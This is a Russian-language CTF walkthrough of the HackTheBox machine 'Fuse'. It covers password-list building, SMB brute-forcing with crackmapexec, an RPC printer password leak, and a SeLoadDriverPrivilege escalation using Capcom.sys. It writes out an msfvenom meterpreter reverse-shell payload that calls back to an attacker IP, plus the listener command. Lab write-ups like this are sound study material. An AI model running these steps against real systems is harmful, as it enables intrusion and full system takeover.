![](https://habrastorage.org/webt/s-/se/rh/s-serhfm2i9ajaqrvx3hla4_hfs.png)
Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье создадим словарик паролей из косвенной информации о пользователях, посмотрим на информацию о принтерах с точки зрения RPC и повышаем привилегии благодаря SeLoadDriverPrivilege.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.193, который я добавляю в /etc/hosts.
10.10.10.193 fuse.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
![](https://habrastorage.org/webt/mk/xf/ti/mkxftixefqwr2lr4otchegvlvzq.png)
Давайте добавим FQDN имя машины в /etc/hosts.
10.10.10.193 fuse.fabricorp.local
И на хосте работает веб-сервер. Давайте посмотрим, что там есть.
![](https://habrastorage.org/webt/p1/se/nf/p1senfcfagqkq0zsxas_kjugwma.png)
Нас встречает сайт с принтерами и мы можем скачать 4 документа, что давайте и сделаем.
![](https://habrastorage.org/webt/qo/6g/or/qo6gor2cmim3sp16muqlzsi-2gw.png)
Так как больше никаких векторов не находим, давай отметим для себя имена пользователей.
cat *.csv | grep 2020 | cut -d ',' -f 2 | sort | uniq
![](https://habrastorage.org/webt/eg/vh/ns/egvhnstfgaoiuxyajnrn6pyclmc.png)
Также создадим список паролей из информации в документах.
cat *.csv | grep 2020 | cut -d ',' -f2,5-7 | tr -d '"' | tr '.' '\n' | tr ',' '\n' | tr -d ' ' | tr '-' '\n' | sort | uniq | tail -n+4
![](https://habrastorage.org/webt/al/gt/c2/algtc2umrofoo0vvux3knku62so.png)
И теперь попробуем брутить, к примеру SMB.
cme smb 10.10.10.193 -u users.txt -p pass.txt --continue-on-success
![](https://habrastorage.org/webt/q2/a3/sz/q2a3szqu_mdiwu_k-sva0tkwgwa.png)
И есть сообщение, что пароль для пользователя должен быть изменен.
Entry point
Давайте это и сделаем. Зададим тот же пароль.
smbpasswd -r 10.10.10.193 -U bhult
![](https://habrastorage.org/webt/yp/lj/t0/ypljt0_eoqa3nkxw0lyrkl4tfbk.png)
![](https://habrastorage.org/webt/cm/mv/hi/cmmvhiygoi6hdfau3xdreaoitrg.png)
Но у нас есть несколько секунд, и пароль становится недействительным.
![](https://habrastorage.org/webt/i_/ty/m_/i_tym_1ws5mapxllrjnt1aje7jy.png)
Поэтому выполняем две команды в связке.
smbpasswd -r 10.10.10.193 -U bhult ; rpcclient -U bhult 10.10.10.193
![](https://habrastorage.org/webt/d-/e5/85/d-e585jnqo_sfhahleltvoki6ei.png)
Давайте просмотрим всех пользователей, сделаем этот с помощью RPC.
USER
![](https://habrastorage.org/webt/vr/zl/t9/vrzlt9ovn8ssuquju9c37f3u4yc.png)
![](https://habrastorage.org/webt/ww/24/as/ww24as3rtf4hrjwf_5ibp4ah4hi.png)
И находим интересного пользователя. Учитывая все тему с принтерами, которых уже длится все время, давайте посмотрим принтеры.
![](https://habrastorage.org/webt/k0/a0/eg/k0a0eghqukhlmubme_rdb7vjcqw.png)
И находим пароль. Создадим список из уже действительных пользователей.
![](https://habrastorage.org/webt/bn/tu/bb/bntubbaeavktjnwtjgtbms6lgvw.png)
А вот теперь попробуем данный пароль для всех пользователей.
sudo cme smb 10.10.10.193 -u users.txt -p '$fab@s3Rv1ce$1' --continue-on-success
![](https://habrastorage.org/webt/-0/js/ot/-0jsot4_vt7zy1bbzqko35yr7lc.png)
И находим двух пользователей. И у нас получается подключиться к WinRM и забрать первый флаг.
![](https://habrastorage.org/webt/_l/e1/hq/_le1hqjwbmgd3gmmxsw3qbj6u2y.png)
ROOT
Посмотрим информацию о текущем пользователе.
![](https://habrastorage.org/webt/49/pk/fz/49pkfzwbjldrhnq-bo0zqgm7czi.png)
И наблюдаем привилегию SeLoadDriverPrivilege. И тут есть вектор LPE. Нам понадобятся следующее ПО: Capcom.sys, EoPLoadDriver и шелл meterpreter. Давайте создадим его.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.160 LPORT=4321 -f exe -o e.exe
![](https://habrastorage.org/webt/yz/fe/c-/yzfec-zla5_xyeezcorgje4ybio.png)
И активируем листенер. Загрузим все на хост и запустим эксплоит meterpreter.
handler -p windows/x64/meterpreter/reverse_tcp -H 10.10.15.160 -P 4321
![](https://habrastorage.org/webt/w3/xd/ua/w3xduasffckoeuovnnbc-7waxru.png)
Теперь нужно загрузить драйвер.
.\eoploaddriver.exe System\CurrentControlSet\custom C:\Users\svc-print\Documents\Capcom.sys
![](https://habrastorage.org/webt/yx/sa/v2/yxsav2ohk82lcv7nrqmn950hb9c.png)
И перед запуском эксплоита нужно немного его поправить. Давайте закомментируем следующие строки в файле /usr/share/metasploit-framework/modules/exploits/windows/local/capcom_sys_exec.rb.
![](https://habrastorage.org/webt/mg/tm/wp/mgtmwp4rnqxdpwd4ug7gznh6biy.png)
И выполняем.
![](https://habrastorage.org/webt/pf/my/_9/pfmy_9vw38bfbspdlenqdjctpae.png)
Как результат, создана новая сессия от имени SYSTEM. Вот к чему может привести привилегия SeLoadDriverPrivilege.
![](https://habrastorage.org/webt/_k/gt/sk/_kgtskezzzoxt3lmntzvcowolpy.png)
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
TheDenis
sort сам умеет выдавать только уникальные строки. Так что вместо
можно просто